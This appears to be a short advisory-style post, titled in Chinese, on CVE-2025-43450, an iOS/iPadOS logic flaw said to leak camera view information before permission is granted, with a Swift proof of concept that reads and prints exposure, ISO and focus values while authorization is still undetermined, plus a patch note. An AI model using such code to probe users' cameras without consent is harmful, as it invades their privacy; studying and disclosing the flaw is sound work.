CVE-2025-43450 Apple iOS/iPadOS 逻辑漏洞导致应用在授权前获取相机视图信息

// CVE-2025-43450 PoC - iOS Camera View Information Leakage // This PoC demonstrates the timing issue in camera permission check import AVFoundation; import UIKit; class CVE202543450PoC: UIViewController { private var captureSession: AVCaptureSession? private var previewLayer: AVCaptureVideoPreviewLayer? override func viewDidLoad() { super.viewDidLoad() setupCamera() } private func setupCamera() { // Attempt to access camera before permission is granted // This exploits the timing window in permission check let device = AVCaptureDevice.default(for: .video) if device != nil { // Check if we have permission let status = AVCaptureDevice.authorizationStatus(for: .video) if status == .notDetermined { // Permission not yet granted - timing window exists // Application can potentially access camera state logCameraState(device: device!) } } } private func logCameraState(device: AVCaptureDevice) { // Log camera state information // In vulnerable versions, this could leak view information print("Camera exposure: \(device.exposureTargetBias)") print("Camera ISO: \(device.iso)") print("Camera focus: \(device.focusPosition)") // These values can reveal information about the camera view } } // Mitigation: Update to iOS 18.7.2+ or iPadOS 18.7.2+ or iOS 26.1+/iPadOS 26.1+ // Apple has addressed this logic issue with improved permission checks